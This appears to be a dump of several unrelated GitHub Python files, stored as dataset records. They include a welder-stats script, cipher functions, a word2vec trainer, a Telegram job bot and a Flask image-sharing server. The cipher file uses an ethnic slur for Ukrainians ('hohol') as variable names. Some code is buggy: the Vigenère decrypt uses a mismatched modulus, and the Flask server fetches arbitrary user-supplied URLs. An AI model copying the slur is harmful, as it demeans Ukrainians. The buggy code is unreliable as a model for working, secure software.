ignore_index=True) \n \n\n\n\nhours_df = clock_df\n\n\n\n\n\n\nfor state in states:\n print(state)\n # get the defect log data for that time range\n # this way it only pulls the defect log information once per state\n defect_log = grab_defect_log(state, start_date, end_date)\n \n # get the dataframe of FabListing for that time range & state\n fablisting_cleaned = clean_and_adjust_fab_listing_for_range(state, \n start_date, \n end_date, \n earned_hours = 'model')\n # earned_hours='old way')\n df = fablisting_cleaned['Fab df']\n # df = df.rename(columns={'Earned Hours':'EVA Hours'})\n # it also gets the unique fitters and welders from the dataframe\n fitters = fablisting_cleaned['Fitter list']\n welders = fablisting_cleaned['Welder list']\n \n \n ''' IF EITHER OF THE FITTER_DATA OR WELDER_DATA THROWS AN ERROR REFER TO THE DEFINED FUNCTION '''\n ''' Or you can just run from line 72 down to these functions and look at the printed output '''\n # get only the fitter information retrieved form the dataframe\n fitter_data = return_sorted_and_ranked(df, ei, fitters, \"Fitter\", defect_log, state, \n start_date, end_date)\n # get only the welder information retrieved form the dataframe\n welder_data = return_sorted_and_ranked(df, ei, welders, \"Welder\", defect_log, state, \n start_date, end_date)\n \n # fitter_data = convert_weight_to_earned_hours(state, fitter_data, drop_job_weights=True)\n # welder_data = convert_weight_to_earned_hours(state, welder_data, drop_job_weights=True)\n \n \n \n \n # if it is the first state in the list, create a dataframe from the current dataframes\n if state == states[0]:\n all_fitters = fitter_data.copy().reset_index(drop=True)\n all_welders = welder_data.copy().reset_index(drop=True)\n # if it is not the first state, jsut append the data to the company wide dataframe\n else:\n all_fitters = all_fitters.append(fitter_data, ignore_index=True)\n all_welders = all_welders.append(welder_data, ignore_index=True)\n \n \n \n# where to put the csv files\ndirectory = 'c://users//cwilson//documents//Fitter_Welder_Performance_CSVs//'\n# create a timestamp so as not to override files\nfile_timestamp = datetime.datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\")\n# the time span of when the file was created for\nfile_range = start_date.replace('/','-') + '_to_' + end_date.replace('/','-')\n# the end of the file name is the file range and creation timestamp \nfile_name_end = '_' + file_range + '_' + file_timestamp + '.csv'\n# convert the fitter_data df to a csv\n# fitter_data.to_csv(file_name_start + 'fitters' + file_name_end)\n# # convert the welder_data df to a csv\n# welder_data.to_csv(file_name_start + 'welders' + file_name_end)\n\n\n\nall_fitters_grouped = get_employee_hours(all_fitters, direct, indirect)\nall_fitters_grouped = all_fitters_grouped.round(3)\nall_welders_grouped = get_employee_hours(all_welders, direct, indirect)\nall_welders_grouped = all_welders_grouped.round(3)\n\n# combine\nall_both = all_fitters_grouped.append(all_welders_grouped)\nall_both = all_both.sort_values(by=['Classification','Weight'], ascending=False)\nall_both.to_csv(directory + 'all_both' + file_name_end)\n\n\n# after completing the loop, convert all_fitters to a csv\nall_fitters_grouped.to_csv(directory + 'all_fitters' + file_name_end)\n# after completing the loop, convert all_welders to a csv\nall_welders_grouped.to_csv(directory + 'all_welders' + file_name_end)\n\nprint(directory + 'all_both' + file_name_end)\n\n\n\n# all_both_csvs = ['c://users//cwilson//documents//Fitter_Welder_Performance_CSVs//all_both_12-01-2022_to_12-31-2022_2023-01-10-18-15-56.csv',\n# 'c://users//cwilson//documents//Fitter_Welder_Performance_CSVs//all_both_11-01-2022_to_11-30-2022_2023-01-11-10-52-01.csv',\n# 'c://users//cwilson//documents//Fitter_Welder_Performance_CSVs//all_both_10-01-2022_to_10-31-2022_2023-01-12-10-46-09.csv',\n# 'c://users//cwilson//documents//Fitter_Welder_Performance_CSVs//all_both_09-01-2022_to_09-30-2022_2022-10-14-12-01-38.csv',\n# 'c://users//cwilson//documents//Fitter_Welder_Performance_CSVs//all_both_08-01-2022_to_08-31-2022_2022-10-14-08-17-24.csv',\n# 'c://users//cwilson//documents//Fitter_Welder_Performance_CSVs//all_both_07-01-2022_to_07-31-2022_2022-10-13-18-05-02.csv']\n\n# combine_multiple_all_both_csv_files_into_one_big_one(all_both_csvs, 'c://users//cwilson//documents//Fitter_Welder_Performance_CSVs//all_both_6month_July012022_December312022.csv')\n\n","repo_name":"cwilsonCrystalSteel/Python","sub_path":"Fitter_Welder_Stats.py","file_name":"Fitter_Welder_Stats.py","file_ext":"py","file_size_in_byte":7703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31033793334","text":"# It's not clear whether the function should return bool or comparison diff.\n# Assume, that we have mypy and input params have correct format\n# The order in lists matters\nimport math\nfrom typing import Any\n\nFLOAT_COMPARISON_PRECISION = 0.00001\n\n\ndef compare(item1: Any, item2: Any) -> bool:\n if type(item1) != type(item2):\n return False\n if isinstance(item1, dict):\n return is_jsons_equal(item1, item2)\n if isinstance(item1, float):\n return math.isclose(item1, item2, abs_tol=FLOAT_COMPARISON_PRECISION)\n return item1 == item2\n\n\ndef is_jsons_equal(first_json: dict, second_json: dict) -> bool:\n if not first_json and not second_json:\n return True\n if first_json.keys() != second_json.keys():\n return False\n for key, val in first_json.items():\n if not compare(val, second_json[key]):\n return False\n return True\n","repo_name":"wkomor/VL_test","sub_path":"jsons_equality.py","file_name":"jsons_equality.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5162457404","text":"def list_manipulation(lst,command,loc,value=None):\n if command == \"remove\" and value == None:\n if loc == \"end\":\n return lst.pop()\n return lst.pop(0)\n if command == \"add\":\n if loc == \"beginning\":\n \tlst.insert(0,value)\n \treturn lst\n else:\n \tlst.append(value)\n \treturn lst\n\nprint(list_manipulation([1,2,3,4],\"add\",\"end\",47))","repo_name":"ksompura/python_training","sub_path":"function_excersises/list_manipulation.py","file_name":"list_manipulation.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5124208291","text":"hlam = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\nhohol = {hlam[i].upper(): i for i in range(len(hlam))}\nhohol_back = {i: hlam[i].upper() for i in range(len(hlam))}\n\n\ndef cezar_ukr(string, p, m):\n res = \"\"\n for i in range(len(string)):\n l = (hohol[string[i].upper()] * p + m) % 26\n res += hohol_back[l]\n return res\n\n\ndef vigenere_encrypt_ukr(plaintext, key):\n key_length = len(key)\n key_as_int = [hohol[i] for i in key]\n plaintext_int = [hohol[i] for i in plaintext]\n print(key_as_int, plaintext_int)\n ciphertext = ''\n for i in range(len(plaintext_int)):\n value = (plaintext_int[i] + key_as_int[i % key_length]) % 26\n ciphertext += hohol_back[value]\n return ciphertext\n\n\ndef vigenere_decrypt_ukr(ciphertext, key):\n key_length = len(key)\n key_as_int = [hohol[i] for i in key]\n ciphertext_int = [hohol[i] for i in ciphertext]\n print(key_as_int, ciphertext_int)\n plaintext = ''\n for i in range(len(ciphertext_int)):\n value = (ciphertext_int[i] - key_as_int[i % key_length]) % 33\n plaintext += hohol_back[value]\n return plaintext\n\n\nprint(vigenere_encrypt_ukr(\"haveaniceweek\".upper(), \"online\".upper()))\n","repo_name":"maxymkuz/cs_2","sub_path":"off_class_stuff/discrete/cyphers.py","file_name":"cyphers.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8525379826","text":"import pandas as pd\nimport re, os, csv, time\nimport nltk.data\nimport logging\n#from gensim import models\nfrom gensim.models import word2vec\nfrom bs4 import BeautifulSoup\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer\nWordNetLemmatizer = WordNetLemmatizer()\n\n# from nltk import word_tokenize, sent_tokenize\n# nltk.download()\ntokenizer = nltk.data.load('nltk:tokenizers/punkt/english.pickle')\n#Script que genera el modelo de word2Vec\n\n\n\n# AUXILIAR FUNCTIONS #\n# Determines whether a tag belongs to a verb\ndef isVerbTag(tag):\n return tag in ['VB', 'VBD', 'VBG', 'VBN', 'VBP', 'VBZ']\n\n# Does the lemmatizing of a specific pos recognition (word, tag)\n# NOTA: Tenemos que hacer un postagging previo, ya que necesitamos \"ayudar\" al lemmatizer\n# y decirle aquellas palabras que son verbos\ndef lemmatizeWord(posTag):\n word = posTag[0]\n tag = posTag[1]\n # print \"word: \", word, \" tag: \", tag\n if isVerbTag(tag):\n #print word,\" ES UN VERBO --- lemmatize: \", WordNetLemmatizer.lemmatize(word,pos='v')\n return WordNetLemmatizer.lemmatize(word,pos='v')\n else:\n #print word,\" ES OTRA PALABRA\"\n return WordNetLemmatizer.lemmatize(word)\n\n\n# Si no se especifica que limpie el texto, simplemente spliteamos el texto\ndef news_to_wordlist(news, remove_stopwords=False,clean_text=True):\n # This time we won't remove the stopwords and numbers\n if clean_text:\n # 0. Remove HTML tags\n body = BeautifulSoup(news,\"html.parser\").get_text() \n # 1. Change all numbers by \"NUM\" tag and remove all puntuation symbols by a single space\n body = re.sub(\"[0-9]+\", \"NUM\", news)\n body = re.sub(\"[^a-zA-Z]\", \" \", body)\n \n # 2. Convert to lower case all characters in body\n body = body.lower()\n \n # 3. TODO: Remove javascript code & URLS\n body = re.sub('https?:\\/\\/.*[\\r\\n]*', \" \", body)\n else:\n body = news\n\n\n # 4. Tokenize body\n bodyWords = body.split()\n \n # 5. Remove stop-words from body\n if remove_stopwords and clean_text:\n stopSet = set(stopwords.words(\"english\"))\n bodyWords = [word for word in bodyWords if not word in stopSet]\n \n if clean_text:\n # # 6. POS tagging and Lemmatize body\n posTagging = nltk.pos_tag(bodyWords)\n bodyWords = list(map(WordNetLemmatizer.lemmatize,bodyWords))\n bodyLemmatized = []\n for taggedWord in posTagging:\n bodyLemmatized.append(lemmatizeWord(taggedWord))\n bodyWords = bodyLemmatized\n\n #Returns a list of words\n return(bodyWords)\n\n\n#Function to split a news piece int parsed sentences. Returns a \n# list of sentences, where each sentence is a list of words\ndef news_to_sentences(news, tokenizer=tokenizer, remove_stopwords=False, use_tokenizer=True,max_sentence_size=150):\n if use_tokenizer:\n # 1. Use the NLTK tokenizer to split the paragraph into sentences\n raw_sentences = tokenizer.tokenize(news.strip())\n else:\n #raw_sentences = re.split( \"\\.\", news ) # Es mas lento que el metodo nativo de str\n raw_sentences = news.split('.')\n if len(raw_sentences) > max_sentence_size:\n raw_sentences = raw_sentences[:max_sentence_size]\n\n #Loop over each sentence\n sentences = []\n for raw_sentence in raw_sentences:\n # If a sentence is empty, skip it\n if len(raw_sentence) > 0:\n # Otherwise, call news_to_wordlist to get a list of words\n sentences.append(news_to_wordlist(raw_sentence,remove_stopwords))\n\n #Return the list of sentences (each sentence is a list of words)\n # So this returns a list of lists\n return sentences\n\ndef trainWord2Vec(sentences,archiveTag):\n logging.basicConfig(format='%s(asctime)s: %(levelname)s : %(message)s', level=logging.INFO)\n\n # Set values for various parameters\n num_features = 300 # Word vector dimensionality\n min_word_count = 15 # Minimum word count\n num_workers = 4 # Number of threads to run in parallel\n context = 35 # Context window size\n downsampling = 1e-3 #Downsample setting for frequent words \n\n # Initialize and train the model (this will take some time)\n model = word2vec.Word2Vec(sentences, workers=num_workers, size=num_features, min_count=min_word_count, \\\n window = context, sample=downsampling)\n\n # If you don't plan to train the model any further, calling init_sims \n # will make the model much more memory-efficient\n model.init_sims(replace=True)\n\n # It can be helpful to create a meaningful model name and\n # save the model for later use. You can load it later using Word2Vec.load()\n model_name = str(num_features) + \"features_\" + str(min_word_count) + \"minwords_\" + str(context) + \"context\" + archiveTag\n model.save(model_name)\n #models.Word2Vec.save_word2vec_format(model_name)\n return model_name\n\n# def makeWord2VecModel(trainStance):\ndef makeWord2VecModel():\n basePath = \"./fnc-1-original/\"\n outputDir = basePath + \"cleanDatasets/\"\n # if trainStance:\n # inputFilePath = basePath + \"train_stances.csv\" \n # fileTag = \"STANCES\"\n # else:\n # inputFilePath = basePath + \"train_bodies.csv\" \n # fileTag = \"BODIES\"\n \n # stancesFilePath = basePath + \"train_stances.csv\"\n # bodiesFilePath = basePath + \"train_bodies.csv\"\n\n fileTag = \"ALL\"\n\n # textTag = 'articleBody' if trainStance==False else 'Headline'\n # # Leemos los ficheros etiquetados y sin etiquetar\n # bodiesTrainFile = pd.read_csv(bodiesFilePath,header=0,delimiter=\",\", quoting=1)\n # stancesTrainFile = pd.read_csv(stancesFilePath,header=0,delimiter=\",\", quoting=1)\n # print(\">>> Read file \", bodiesFilePath , \"shape:\", bodiesTrainFile.shape)\n # print(\">>> Read file \", stancesFilePath , \"shape:\", stancesTrainFile.shape)\n \n aggregated_train_path = \"./fnc-1-original/finalDatasets/train_partition.csv\"\n aggregated_train_file = pd.read_csv(aggregated_train_path,header=0,delimiter=\",\", quoting=1)\n print(\">>> Read file \", aggregated_train_path , \"shape:\", aggregated_train_file.shape)\n\n # Si tuvieramos datos sin etiquetar podriamos utilizarlos igualmente en el entrenamiento\n # ya que word2vec no requiere de datos etiquetados\n # inputUnlabeledFile = basePath + \"test_stances_unlabeled.csv\"\n # unlabeled_train = pd.read_csv(inputUnlabeledFile, header=0,delimiter=\",\", quoting=1)\n # print(\">>> Read file \", inputUnlabeledFile , \"shape:\", unlabeled_train.shape)\n\n # Word2Vec se espera un formato de lista de listas (lista de frases, cada frase una lista de palabras),\n # asi que procesamos el texto para que tenga ese formato \n # Utilizaremos el punkTokenizer de nltk\n\n #Download the puntk tokenizer for sentence splitting\n #nltk.download('puntk')\n\n # Load the puntk tokenizer\n #tokenizer = nltk.data.load('tokenizer/punkt/english.pickle')\n\n sentences = []\n print(\"> Parsing sentences from training set\")\n\n # Recorremos el fichero de titulares y cuerpos de noticias para crear el modelo\n # for index,line in bodiesTrainFile.iterrows():\n # sentences += news_to_sentences(line['articleBody'], tokenizer)\n \n # for index,line in stancesTrainFile.iterrows():\n # sentences += news_to_sentences(line['Headline'], tokenizer)\n \n start = time.time()\n for index,line in aggregated_train_file.iterrows():\n sentences += news_to_sentences(line['ArticleBody'], tokenizer)\n sentences += news_to_sentences(line['Headline'], tokenizer)\n end = time.time()\n formatTime = end - start\n\n # Check how many sentences we have in total\n print(\"> #Sentences: \", len(sentences))\n # print (\"> First Sentence : \", sentences[0])\n # print (\"> Second Sentence : \", sentences[1])\n \n start = time.time()\n model_name = trainWord2Vec(sentences, fileTag)\n end = time.time()\n trainTime = end - start\n\n # Export data to a csv file\n csvOutputDir = \"./executionStats/\"\n date = time.strftime(\"%Y-%m-%d\")\n output_file = csvOutputDir + \"word2vec_execution_\" + date + \".csv\"\n fieldNames = [\"date\", \"modelName\", \"formatTime\", \"trainTime\"]\n \n with open(output_file, 'a') as csv_file:\n writer = csv.DictWriter(csv_file, fieldnames=fieldNames)\n executionData = {\n \"date\": time.strftime(\"%Y-%m-%d %H:%M\"),\n \"modelName\": model_name,\n \"formatTime\": formatTime,\n \"trainTime\": trainTime\n }\n \n newFile = os.stat(output_file).st_size == 0\n if newFile:\n writer.writeheader()\n writer.writerow(executionData)\n\n print(\">> Stats exported to: \", output_file)\n\n\nif __name__ == \"__main__\":\n # makeWord2VecModel(False) # Para entrenar el fichero con los cuerpos de noticias\n makeWord2VecModel()\n","repo_name":"ailopera/tensor_project","sub_path":"data/word2VecModel.py","file_name":"word2VecModel.py","file_ext":"py","file_size_in_byte":8784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34873518082","text":"from telegram import (\n\tReplyKeyboardMarkup, KeyboardButton, ReplyKeyboardRemove, \n\tInlineKeyboardMarkup, InlineKeyboardButton\n\t)\nfrom telegram.ext import ConversationHandler\n\nimport logging\nimport sqlalchemy\n\nimport sys\nimport os\n\nsys.path.append(os.path.dirname(__file__) + \"/../parserfrilanse/\")\n\nfrom setup_db.create_db import create_db\nfrom bot.message_texts import (\n\tKEYBOARD_BUTTON, INLINE_BUTTON, ECHO, START, GREET_USER, VERIFIED, \n\tPAY_MESSAGE, CORRECTOR, CORRECTOR_NONE\n\t)\nfrom db_connections.connections import DataBaseSelector\nfrom utils import get_cards\n\ndef query_to_base_start(bot, update, user_data):\n\tlogging.info('in def query_to_base_start')\n\tupdate.message.reply_text(\n\t\tGREET_USER, reply_markup = ReplyKeyboardRemove()\n\t\t)\n\treturn 'skill'\n\ndef last_skill(bot, update):\n\tprint(\"last_skill\")\n\ttry:\n\t\tuser_questions = open('user_questions.txt').read()\n\t\tuser_questions = user_questions.split(\":\")\n\t\tchat_id = user_questions[0]\n\t\tquestions = user_questions[1].strip().replace(\"'\",\"\")\n\n\t\tif chat_id == str(update.message.chat.id):\n\t\t\tselector = DataBaseSelector(questions)\n\t\t\tlink = selector.query_to_base_skill()\n\t\t\tcards = get_cards(link)\n\t\t\tfor card in cards:\n\t\t\t\tif card['verified'] == True:\n\t\t\t\t\tpay_metod = VERIFIED\n\t\t\t\telse: \n\t\t\t\t\tpay_metod = ''\n\t\t\t\turl = card['link']\n\t\t\t\tupdate.message.reply_text(PAY_MESSAGE.format(\n\t\t\t\t\ttitle = card['title'], \n\t\t\t\t\ttime = card['time'],\n\t\t\t\t\tdescription = card['description'], \n\t\t\t\t\tlist_skill = card['list_skill'], \n\t\t\t\t\tprice = card['price'], \n\t\t\t\t\tpay_metod = pay_metod, \n\t\t\t\t\tbids = card['bids']),\n\t\t\t\t\treply_markup= card_link_kb(url)\n\t\t\t\t\t)\n\texcept FileNotFoundError:\n\t\tpass\n\n\ndef query_to_base_get_skill(bot, update, user_data):\n\t\"\"\"Прогоняем запрос пользователя по базе, запускает парсер и выводит ответы в телеграмм\"\"\"\n\tlogging.info('in def query_to_base_get_skill')\n\tuser_skill = update.message.text\n\tnone_tip = []\n\ttry:\n\t\tselector = DataBaseSelector(user_skill)\n\t\tlink = selector.query_to_base_skill()\n\n\texcept AttributeError:\n\t\tlogging.info('AttributeError')\n\t\tcorrector = DataBaseSelector(user_skill)\n\t\tuser_tip = corrector.find_in_key_words()\n\t\tlogging.info(user_tip)\n\t\tif user_tip == '[]':\n\t\t\tmessage = CORRECTOR_NONE\n\t\telse:\n\t\t\tmessage = CORRECTOR.format(user_tip)\n\t\tupdate.message.reply_text(message, reply_markup= get_keyboard())\n\t\treturn 'skill'\n\t\n\t\n\t#Пускаем парсер по ссылке\n\tcards = get_cards(link)\n\tfor card in cards:\n\t\tif card['verified'] == True:\n\t\t\tpay_metod = VERIFIED\n\t\telse: \n\t\t\tpay_metod = ''\n\t\turl = card['link']\n\t\tupdate.message.reply_text(PAY_MESSAGE.format(\n\t\t\ttitle = card['title'], \n\t\t\ttime = card['time'],\n\t\t\tdescription = card['description'], \n\t\t\tlist_skill = card['list_skill'], \n\t\t\tprice = card['price'], \n\t\t\tpay_metod = pay_metod, \n\t\t\tbids = card['bids']),\n\t\t\treply_markup= card_link_kb(url)\n\t\t\t)\n\t###записываем пользователя и запрос\n\tchat_id = update.message.chat.id\n\tchat_text = update.message.text\n\tuser =\"{}:{}\".format(chat_id, chat_text)\n\twith open('user_questions.txt','w',encoding = 'utf-8') as f:\n\t\tf.write(user)\n\treturn ConversationHandler.END\n\n\ndef get_keyboard():\n\tmy_keyboard = ReplyKeyboardMarkup(\n\t\t[[KEYBOARD_BUTTON],['last_skill']], \n\t\tresize_keyboard = True\n\t\t)\n\treturn my_keyboard\n\n\ndef card_link_kb(url):\n button0 = InlineKeyboardButton(text=INLINE_BUTTON, url=url)\n buttons_list = [[button0]]\n keyboard = InlineKeyboardMarkup(buttons_list)\n return keyboard \n\n\ndef greet_user(bot,update,user_data):\n\ttext = START.format((update.message.chat.first_name))\n\tupdate.message.reply_text(text, reply_markup= get_keyboard())\n\n\ndef talk_to_me(bot, update, user_data):\n\tlogging.info('talk_to_me вход')\n\t#принимаем текст от пользователя\n\tuser_text = ECHO.format(\n\t\t(update.message.chat.first_name), update.message.text)\n\n\tlogging.info(\"User: %s, Chat id: %s, Message: %s\", update.message.chat.username, \n\t\t\tupdate.message.chat.id, update.message.text)\n\n","repo_name":"DipProject-org/ParserFreelanser2","sub_path":"bot/talk_with_user.py","file_name":"talk_with_user.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74086933811","text":"from .apiRoutes import CONFIG,REGISTRYS\nfrom .api import get,post\nimport json\nfrom parking_configuration.Registry import Registry\nimport threading\n\ndef post_registrys_async(registrys,token,session):\n try:\n threading.Thread(target=postRegistrys, args=(registrys,token,session)).start()\n except Exception as e: print(e)\n\ndef postRegistrys(registrys,token,session):\n\tformattedRegistrys = []\n\t\n\tfor registry in registrys:\n\t\tformattedRegistrys.append(\n\t\t\t{\n\t\t\t\t\"fecha\": registry.fecha,\n\t\t\t\t\"idParking\": registry.idParking,\n\t\t\t\t\"patente\": registry.patente,\n\t\t\t\t\"tipo\": registry.tipo,\n\t\t\t\t\"cameraId\": registry.cameraId\n\t\t\t}\t\n\t\t)\n\n\tdata = {\n\t\t\"registrys\": formattedRegistrys\n\t}\n\n\treturn post(REGISTRYS,data,token,session)\n\ndef getRegistrys(token):\n\tresponse = get(REGISTRYS,token)\n\tresponse = json.loads(response.content)\n\tregistrys = []\n\tfor registry in response:\n\t\tregistry_new = Registry(registry['id'],registry['fecha'],registry['idParking'],registry['patente'],registry['tipo'],registry['cameraId'])\n\t\tregistry_new.id = registry['id']\n\t\tregistrys.append(registry_new)\n\treturn registrys\n","repo_name":"luke92/crv-smart-parking-system","sub_path":"parking-detection/services/registrys.py","file_name":"registrys.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23299677412","text":"import io\nimport TS\nimport time\nimport uuid\nimport json\nimport flask\nimport base64\nimport imghdr\nimport yagmail\nimport datetime\nimport requests\nimport threading\nimport firebase_admin\nfrom flask_cors import CORS\nfrom firebase_admin import db\nfrom flask import request, render_template, url_for\nfirebase_admin.initialize_app(firebase_admin.credentials.Certificate(\"./auth.json\"), {\"databaseURL\": \"https://tensorshareio-default-rtdb.firebaseio.com/\"})\napp = flask.Flask(__name__)\nmac = yagmail.SMTP(user=TS.email.auth.mail, password=TS.email.auth.pwd)\nCORS(app, resources={\"/*\": {\"origins\": \"*\"}})\ndbref = db.reference().get()\ndef get_tokens():\n return db.reference(\"/tokens\").get()\n\n@app.route(\"/waitlist\", methods=[\"GET\"])\ndef waitlist():\n return render_template(\"waitlist.html\", endpoint=TS.sys.endpoint)\n\n@app.route(\"/waitlist/add_user\", methods=[\"PUT\"])\ndef waitlist_add_user(): # sourcery skip: remove-unnecessary-else, simplify-fstring-formatting, swap-if-else-branches\n if TS.email.getFormated(request.args.get(\"email\")) in db.reference(\"/waitlist/emails\").get():\n return json.dumps({\"error\": \"Email already in waitlist\", \"code\": 32})\n email = request.args.get(\"email\")\n femail = TS.email.getFormated(email)\n name = request.args.get(\"name\")\n utk = str(uuid.uuid4()).replace(\"-\", \".\")\n html = f\"\"\"\n <img src=\"{TS.sys.endpoint}/waitlist/thanks/image\" alt=\"Thank you, {name}\">\n <h1>Hello, {name}, you've been added to the waitlist.</h1>\n <p>We sent you this email as a confirmation for your subscription to the TensorShare waitlist!</p>\n <p>If you did not wish to be added to the waitlist, you may click <a href=\"{TS.sys.endpoint}/waitlist/unsubscribe/?utk={utk}&email={email}\">here</a> to unsubscribe</p>\n \"\"\"\n mac.send(to=email, subject=f\"Hello, {name}, you've been added to the waitlist.\", contents=[html])\n db.reference(f\"/waitlist/emails/{femail}\").set({\n \"confirmed\": \"true\",\n \"utk\": utk,\n \"email\": email,\n \"name\": name\n })\n return json.dumps({\"success\": True})\n\n@app.route(\"/waitlist/remove_user\", methods=[\"DELETE\"])\ndef waitlist_remove_user():\n if TS.email.getFormated(request.args.get(\"email\")) in db.reference(\"/waitlist/emails\").get():\n if db.reference(\"/waitlist/emails/\"+TS.email.getFormated(request.args.get(\"email\"))).get()[\"utk\"] == request.args.get(\"utk\"):\n data = db.reference(\"/waitlist/emails/\"+TS.email.getFormated(request.args.get(\"email\"))).get()\n db.reference(\"/waitlist/emails/\"+TS.email.getFormated(request.args.get(\"email\"))).delete()\n return json.dumps({\"success\": True, \"name\": data[\"name\"], \"email\": data[\"email\"]})\n return json.dumps({\"error\": \"UTK doesn't match\", \"success\": False, \"code\": 403})\n return json.dumps({\"error\": \"Email not in database\", \"success\": False, \"code\": 404})\n\n@app.route(\"/waitlist/unsubscribe/\", methods=[\"GET\"])\ndef waitlist_unsubscribe():\n email = request.args.get(\"email\")\n femail = TS.email.getFormated(email)\n if TS.email.getFormated(email) in db.reference(\"/waitlist/emails\").get():\n data = db.reference(f\"/waitlist/emails/{femail}\").get()\n return flask.render_template(\"unsubscribe.html\", name=data[\"name\"].split(\" \")[0])\n return flask.redirect(\"/waitlist\")\n\n@app.route(\"/waitlist/thanks\", methods=[\"GET\"])\ndef waitlist_thanks():\n email = request.args.get(\"email\")\n emailProvider = email.split(\"@\")[-1]\n return render_template(\"thanks.html\", name=request.args.get(\"name\", db.reference(\"/waitlist/emails/\"+TS.email.getFormated(email)).get()[\"name\"]) , email=email, emailProvider=f\"https://{emailProvider}\")\n\n@app.route(\"/waitlist/sorry\")\ndef waitlist_sorry():\n email = request.args.get(\"email\")\n return render_template(\"sorry.html\", email=email, name=request.args.get(\"name\", \"Unknown user\"))\n\n@app.route(\"/waitlist/thanks/image\", methods=[\"GET\"])\ndef waitlist_thanks_image():\n return flask.send_file(\"./static/images/thanks.png\")\n\n@app.route(\"/post/image/\", methods=[\"GET\", \"POST\"])\ndef post_image(): # sourcery skip: simplify-fstring-formatting\n if request.args.get(\"token\") not in get_tokens().keys():\n return json.dumps({\"error\": \"Unauthorized\"})\n\n if request.data and \";base64,\" not in str(request.data) and \";base64,\" not in request.args.get(\"data\", \"\"):\n data = request.data\n elif not request.data and \";base64,\" in request.args.get(\"data\"):\n try:\n data = base64.b64decode(request.args.get(\"data\", \"\").split(\";base64,\")[-1].replace(\" \", \"+\"))\n except:\n return json.dumps({\"error\": \"Couldn't decode base64 string\"})\n elif \";base64,\" in str(request.data):\n try:\n data = base64.b64decode(str(request.data).split(\";base64,\", \"\")[-1].replace(\" \", \"+\"))\n except:\n return json.dumps({\"error\": \"Couldn't decode base64 string\"})\n elif request.args.get(\"url\", None):\n data = requests.get(request.args.get(\"url\")).content\n else:\n data = None\n\n if io.BytesIO(data).getbuffer().nbytes > TS.sys.maxSize and request.args.get(\"token\") != db.reference(\"/tokens/master\").get():\n return json.dumps({\"error\": \"Data exceeds size limit.\"})\n\n uid = TS.new.image_id()\n fmt = imghdr.what(None, data)\n \n if fmt:\n if request.args.get(\"by\") not in {\"anon\", \"anonymous\"} and request.args.get(\"anon\") != \"true\":\n ub = (\n request.args.get(\"by\")\n or get_tokens()[request.args.get(\"token\")][\"belongsTo\"]\n )\n else:\n ub = \"an Anonymous user\"\n\n if data:\n finalData = TS.image.getData(data, get_tokens()[request.args.get(\"token\")][\"id\"], ub, uid)\n else:\n return json.dumps({\"error\": \"Invalid data URL or body (data URL must be in base64 or body must be in binary).\"})\n db.reference(f\"/images/{uid}\").set(finalData)\n db.reference(\"/tokens/\"+request.args.get(\"token\")+\"/uploads\").update({len(db.reference(\"/tokens/\"+request.args.get(\"token\")+\"/uploads\").get()): uid})\n return json.dumps({\"success\": True, \"url\": f\"{TS.sys.endpoint}/{uid}.{fmt}\"})\n\n else:\n return json.dumps({\"error\": \"Media type not supported\"})\n\n@app.route(\"/<img>/\", methods=[\"GET\"])\ndef view(img: str): # sourcery skip: collection-builtin-to-comprehension, remove-redundant-if, remove-unnecessary-else, swap-if-else-branches\n image = img.split(\".\")[0]\n got = db.reference(f\"/images/{image}\").get()\n \n if got:\n if TS.request.is_from_browser(request.user_agent):\n if \"b64\" not in got:\n b64im = str(base64.b64encode(got[\"data\"].encode(TS.config.encoding.fmt)))[2:-1]\n else:\n b64im = got[\"b64\"]\n return render_template(\n \"main.html\",\n name=image,\n nameU=image.upper(),\n data=b64im,\n fmt=got[\"fmt\"],\n fmtU=got[\"fmt\"].upper(),\n uploadedBy=got[\"uploadedBy\"][\"name\"],\n iat=str(datetime.datetime.now()) if \"iat\" not in got else got[\"iat\"],\n size=\"0\" if \"size\" not in got else got[\"size\"],\n colData=\"0,0,0;0,0,0;0,0,0;0,0,0;:0,0,0\" if \"colData\" not in got else got[\"colData\"],\n dimen=\"0,0\" if \"dimen\" not in got else got[\"dimen\"],\n exif=\"{}\" if \"exif\" not in got else got[\"exif\"],\n endpoint=TS.sys.endpoint\n )\n else:\n return flask.send_file(io.BytesIO(got[\"data\"].encode(TS.config.encoding.fmt)), mimetype=\"image/\"+str(got[\"fmt\"]))\n else:\n return flask.send_file(\"./static/images/404.png\")\n\n@app.route(\"/<img>/file/\", methods=[\"GET\"])\ndef img_file(img: str):\n image = img.split(\".\")[0]\n got = db.reference(f\"/images/{image}\").get()\n if got:\n return flask.send_file(io.BytesIO(got[\"data\"].encode(TS.config.encoding.fmt)), mimetype=\"image/\"+str(got[\"fmt\"]))\n else:\n return flask.send_file(\"./static/images/404.png\")\n\n@app.route(\"/<img>/data/\", methods=[\"GET\"])\ndef img_data(img: str):\n image = img.split(\".\")[0]\n got = db.reference(f\"/images/{image}\").get()\n dat = request.args.get(\"data\").lower()\n if dat == \"b64\" or dat == \"base64\":\n got[\"data\"] = None\n elif dat == \"bin\" or dat == \"binary\" or dat == \"unicode\" or dat == TS.config.encoding.fmt:\n got[\"base64\"] = None\n return got if got and \"b64\" in got else json.dumps({\"data\": None, \"fmt\": None, \"uploadedBy\": {\"name\": None, \"id\": 0000000000000000}, \"iat\": str(datetime.datetime.now()), \"size\": 0, 